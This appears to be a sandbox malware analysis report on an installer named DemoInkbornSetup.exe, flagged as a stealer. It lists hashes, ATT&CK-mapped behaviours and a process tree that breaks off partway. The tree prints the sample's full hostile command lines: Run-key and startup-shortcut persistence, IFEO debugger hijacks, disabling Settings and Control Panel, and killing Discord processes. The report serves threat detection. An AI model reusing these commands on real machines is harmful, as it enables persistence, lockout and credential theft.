6ec0fd76657d48d7f2f029860f5b0ce4357efd7bad41e2b0103cc55f52f21867

Analysis

max time kernel
149s
max time network
165s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/10/2026, 22:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DemoInkbornSetup.exe
Size 213.4MB
Sample261016-2gft7aev5t
SHA256 6ec0fd76657d48d7f2f029860f5b0ce4357efd7bad41e2b0103cc55f52f21867
MD5 493c3749837bd70c516afb19f3647c16
SHA1 440f668c290e209fce29013c79e2ba9927c61172
SHA512 9a3f7cf44a49f37edaa56d19cca7f715f707e2c226e80bc2c1cfa40afc9135b0520e4ab5e2c2d7c4c2fb55875616192f976f61c7ab3b4c08e3f24821873dbace
SSDEEP 1572864:MDtDY7xl9nu0lWciNUb1XDDPV28QBfeWEEiuCtKlwewvFfYY2v04wgU43sBKWTGr:W+Ln2tK9WUB
TLSH
T1DAB88C03E29A01D9C05DD175575AA233FEB1B8454724B3DF2BA44B522F66EF82B3DB20
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation spyware stealer

Malware Config

Signatures

Blocks application from running via registry modification 10 IoCs

Adds application to list of disallowed applications.

defense_evasion

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "SystemSettings.exe"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "SystemSettingsAdminFlows.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\1 = "SystemSettings.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun\2 = "SystemSettingsAdminFlows.exe"	reg.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun = "1"	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1056	powershell.exe
4364	powershell.exe
2716	powershell.exe
3952	powershell.exe

Disables Task Manager via registry modification
defense_evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 7 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Key created	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettings.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SystemSettingsAdminFlows.exe\Debugger = "C:\\Windows\\System32\\systray.exe"	reg.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	DemoInkbornSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	DemoInkbornSetup.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	java.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\Control Panel\International\Geo\Nation	javaw.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\emre.lnk	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3124	data_helper.exe
4112	data_helper.exe
2688	java.exe
3248	javaw.exe

Loads dropped DLL 27 IoCs

pid	Process
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
2688	java.exe
3248	javaw.exe
2688	java.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
3248	javaw.exe
2688	java.exe
2688	java.exe
2688	java.exe

Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1696934516-3600988056-1840298893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\emre = "\"C:\\Users\\Admin\\AppData\\Local\\emre\\jre\\bin\\javaw.exe\" -jar \"C:\\Users\\Admin\\AppData\\Local\\emre\\emre.jar\" --startup"	reg.exe

Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4984	cmd.exe
3080	cmd.exe
2436	cmd.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
16	api.ipify.org
17	api.ipify.org

Discovers running processes 1 TTPs 3 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
744	tasklist.exe
1324	tasklist.exe
1936	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4188	wscript.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\debug.log	chrome.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4984	cmd.exe
2436	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4464	sc.exe
3536	sc.exe
5108	sc.exe
3028	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3880	cmd.exe
3508	cmd.exe
668	cmd.exe
4660	cmd.exe
2712	cmd.exe
1964	cmd.exe
4044	cmd.exe
3040	cmd.exe
2144	cmd.exe
216	cmd.exe
564	cmd.exe
3516	cmd.exe
1516	cmd.exe
1888	cmd.exe
3972	cmd.exe
3664	cmd.exe
4764	cmd.exe
4852	cmd.exe
464	cmd.exe
2656	cmd.exe
4456	cmd.exe
4892	cmd.exe
4168	cmd.exe
4820	cmd.exe
744	cmd.exe
4552	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	java.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	java.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3148	chrome.exe

Checks processor information in registry 2 TTPs 10 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	javaw.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	java.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	javaw.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	DemoInkbornSetup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	DemoInkbornSetup.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	java.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Kills process with taskkill 7 IoCs

defense_evasion

pid	Process
3280	taskkill.exe
4200	taskkill.exe
1964	taskkill.exe
540	taskkill.exe
4112	taskkill.exe
4976	taskkill.exe
548	taskkill.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
740	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1056	powershell.exe
1056	powershell.exe
1056	powershell.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe
2688	java.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs

pid	Process
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	3124	data_helper.exe
Token: 35	3124	data_helper.exe
Token: SeSecurityPrivilege	3124	data_helper.exe
Token: SeSecurityPrivilege	3124	data_helper.exe
Token: SeShutdownPrivilege	1148	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	1148	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeRestorePrivilege	4112	data_helper.exe
Token: 35	4112	data_helper.exe
Token: SeSecurityPrivilege	4112	data_helper.exe
Token: SeSecurityPrivilege	4112	data_helper.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeDebugPrivilege	1056	powershell.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeDebugPrivilege	4112	taskkill.exe
Token: SeDebugPrivilege	1964	taskkill.exe
Token: SeDebugPrivilege	540	taskkill.exe
Token: SeDebugPrivilege	4976	taskkill.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeDebugPrivilege	744	tasklist.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeDebugPrivilege	548	taskkill.exe
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	2688	java.exe
Token: SeTcbPrivilege	2688	java.exe
Token: SeImpersonatePrivilege	2688	java.exe
Token: SeAssignPrimaryTokenPrivilege	2688	java.exe
Token: SeTakeOwnershipPrivilege	2688	java.exe
Token: SeRestorePrivilege	2688	java.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeDebugPrivilege	2688	java.exe
Token: SeTcbPrivilege	2688	java.exe
Token: SeImpersonatePrivilege	2688	java.exe
Token: SeAssignPrimaryTokenPrivilege	2688	java.exe
Token: SeTakeOwnershipPrivilege	2688	java.exe
Token: SeRestorePrivilege	2688	java.exe
Token: SeDebugPrivilege	3280	taskkill.exe
Token: SeDebugPrivilege	4200	taskkill.exe
Token: SeDebugPrivilege	3952	powershell.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeDebugPrivilege	4364	powershell.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe
Token: SeShutdownPrivilege	2984	DemoInkbornSetup.exe
Token: SeCreatePagefilePrivilege	2984	DemoInkbornSetup.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
1148	DemoInkbornSetup.exe
2984	DemoInkbornSetup.exe
3044	chrome.exe
3044	chrome.exe
3044	chrome.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2688	java.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1148 wrote to memory of 2984	1148	DemoInkbornSetup.exe	89
PID 1148 wrote to memory of 1836	1148	DemoInkbornSetup.exe	90
PID 1148 wrote to memory of 1836	1148	DemoInkbornSetup.exe	90
PID 1148 wrote to memory of 3880	1148	DemoInkbornSetup.exe	91
PID 2984 wrote to memory of 3124	2984	DemoInkbornSetup.exe	93
PID 2984 wrote to memory of 4172	2984	DemoInkbornSetup.exe	95
PID 2984 wrote to memory of 1580	2984	DemoInkbornSetup.exe	96
PID 2984 wrote to memory of 1580	2984	DemoInkbornSetup.exe	96
PID 2984 wrote to memory of 4112	2984	DemoInkbornSetup.exe	113
PID 2984 wrote to memory of 740	2984	DemoInkbornSetup.exe	101
PID 2984 wrote to memory of 1056	2984	DemoInkbornSetup.exe	102
PID 2984 wrote to memory of 2688	2984	DemoInkbornSetup.exe	104
PID 2688 wrote to memory of 1964	2688	java.exe	138
PID 2688 wrote to memory of 4976	2688	java.exe	112
PID 2688 wrote to memory of 4112	2688	java.exe	113
PID 2688 wrote to memory of 540	2688	java.exe	139
PID 2688 wrote to memory of 744	2688	java.exe	188
PID 2688 wrote to memory of 1516	2688	java.exe	120
PID 1516 wrote to memory of 4996	1516	cmd.exe	122
PID 2688 wrote to memory of 2712	2688	java.exe	123
PID 2712 wrote to memory of 2204	2712	cmd.exe	125
PID 2688 wrote to memory of 4456	2688	java.exe	126
PID 4456 wrote to memory of 2220	4456	cmd.exe	128
PID 2688 wrote to memory of 4892	2688	java.exe	129
PID 4892 wrote to memory of 4728	4892	cmd.exe	131
PID 2688 wrote to memory of 1888	2688	java.exe	132
PID 1888 wrote to memory of 216	1888	cmd.exe	185
PID 2688 wrote to memory of 3972	2688	java.exe	135
PID 3972 wrote to memory of 956	3972	cmd.exe	137
PID 2688 wrote to memory of 1964	2688	java.exe	138
PID 1964 wrote to memory of 312	1964	cmd.exe	198
PID 2688 wrote to memory of 4044	2688	java.exe	141
PID 4044 wrote to memory of 3736	4044	cmd.exe	143
PID 2688 wrote to memory of 4168	2688	java.exe	144
PID 4168 wrote to memory of 3600	4168	cmd.exe	201
PID 2688 wrote to memory of 3664	2688	java.exe	147
PID 3664 wrote to memory of 2104	3664	cmd.exe	149
PID 2688 wrote to memory of 4764	2688	java.exe	150
PID 4764 wrote to memory of 3080	4764	cmd.exe	179
PID 2688 wrote to memory of 3880	2688	java.exe	153
PID 3880 wrote to memory of 4856	3880	cmd.exe	155
PID 2688 wrote to memory of 4852	2688	java.exe	156
PID 4852 wrote to memory of 548	4852	cmd.exe	208
PID 2688 wrote to memory of 3040	2688	java.exe	159
PID 3040 wrote to memory of 5108	3040	cmd.exe	161
PID 2688 wrote to memory of 3508	2688	java.exe	162
PID 3508 wrote to memory of 1348	3508	cmd.exe	164
PID 2688 wrote to memory of 668	2688	java.exe	165
PID 668 wrote to memory of 4152	668	cmd.exe	167
PID 4152 wrote to memory of 2160	4152	net.exe	168
PID 2688 wrote to memory of 4820	2688	java.exe	169
PID 4820 wrote to memory of 3028	4820	cmd.exe	171
PID 2688 wrote to memory of 4984	2688	java.exe	172
PID 4984 wrote to memory of 2716	4984	cmd.exe	174
PID 2688 wrote to memory of 3280	2688	java.exe	175
PID 2688 wrote to memory of 4200	2688	java.exe	177
PID 2688 wrote to memory of 3080	2688	java.exe	179
PID 3080 wrote to memory of 3952	3080	cmd.exe	181
PID 2688 wrote to memory of 2144	2688	java.exe	182
PID 2144 wrote to memory of 3784	2144	cmd.exe	184
PID 2688 wrote to memory of 216	2688	java.exe	185
PID 216 wrote to memory of 540	216	cmd.exe	187
PID 2688 wrote to memory of 744	2688	java.exe	188
PID 744 wrote to memory of 5080	744	cmd.exe	190

C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
"C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe"
1⤵
- Checks computer location settings
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1148
- C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
  C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
  2⤵
  - Checks computer location settings
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Users\Admin\AppData\Local\emre\data_helper.exe
    C:\Users\Admin\AppData\Local\emre\data_helper.exe x C:\Users\Admin\AppData\Local\emre\data.7z -p4YvaFsUQ2DVA -oC:\Users\Admin\AppData\Local\emre -y
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:3124
- - C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --field-trial-handle=1712,i,7453620349712207394,9437485338432406477,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,6090511509638076851,17735278545516926826,4 --trace-process-track-uuid=3190708989122997041 --mojo-platform-channel-handle=2116 /prefetch:3
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    PID:4172
- - C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe
    "C:\Users\Admin\AppData\Local\Temp\DemoInkbornSetup.exe" --type=gpu-process --user-data-dir="C:\Users\Admin\AppData\Roaming\demoinkbornsetup" --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1712,i,7453620349712207394,9437485338432406477,262144 --enable-features=EnableTransparentHwndEnlargement,PdfUseShowSaveFilePicker --disable-features=DropInputEventsWhilePaintHolding,LocalNetworkAccessChecks,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation --variations-seed-version --pseudonymization-salt-handle=1716,i,6090511509638076851,17735278545516926826,4 --trace-process-track-uuid=3190708988185955192 --mojo-platform-channel-handle=1708 /prefetch:2
    3⤵
    PID:1580
- - C:\Users\Admin\AppData\Local\emre\data_helper.exe
    C:\Users\Admin\AppData\Local\emre\data_helper.exe x C:\Users\Admin\AppData\Local\emre\jre.zip -oC:\Users\Admin\AppData\Local\emre\jre -y
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:4112
- - C:\Windows\system32\reg.exe
    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v emre /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\emre\jre\bin\javaw.exe\" -jar \"C:\Users\Admin\AppData\Local\emre\emre.jar\" --startup" /f
    3⤵
    - Adds Run key to start application
    - Modifies registry key
    PID:740
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -ExecutionPolicy Bypass -Command "$s=(New-Object -ComObject WScript.Shell).CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\emre.lnk');$s.TargetPath='C:\Users\Admin\AppData\Local\emre\jre\bin\javaw.exe';$s.Arguments='-jar \"C:\Users\Admin\AppData\Local\emre\emre.jar\" --startup';$s.WindowStyle=7;$s.Save()"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Creates a file in the Startup directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1056
- - C:\Users\Admin\AppData\Local\emre\jre\bin\java.exe
    C:\Users\Admin\AppData\Local\emre\jre\bin\java.exe -jar C:\Users\Admin\AppData\Local\emre\emre.jar
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Loads dropped DLL
    - Reads the TCP/IP host and domain name from the registry
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2688
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM "Discord.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1964
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM "DiscordCanary.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4976
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM "DiscordPTB.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4112
  - - C:\Windows\SYSTEM32\taskkill.exe
      taskkill /F /IM "DiscordDevelopment.exe"
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:540
  - - C:\Windows\SYSTEM32\tasklist.exe
      tasklist /FI "IMAGENAME eq discord.exe" /FO CSV /NH
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:744
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:1516
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4996
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:2712
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v SettingsPageVisibility /t REG_SZ /d "hide:*" /f
        5⤵
        
        PID:2204
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f >nul 2>&1"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4456
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v DisallowRun /t REG_DWORD /d 1 /f
        5⤵
        Blocks application from running via registry modification
        
        PID:2220
  - - C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun" /v 1 /t REG_SZ /d "SystemSettings.exe" /f >nul 2>&1"
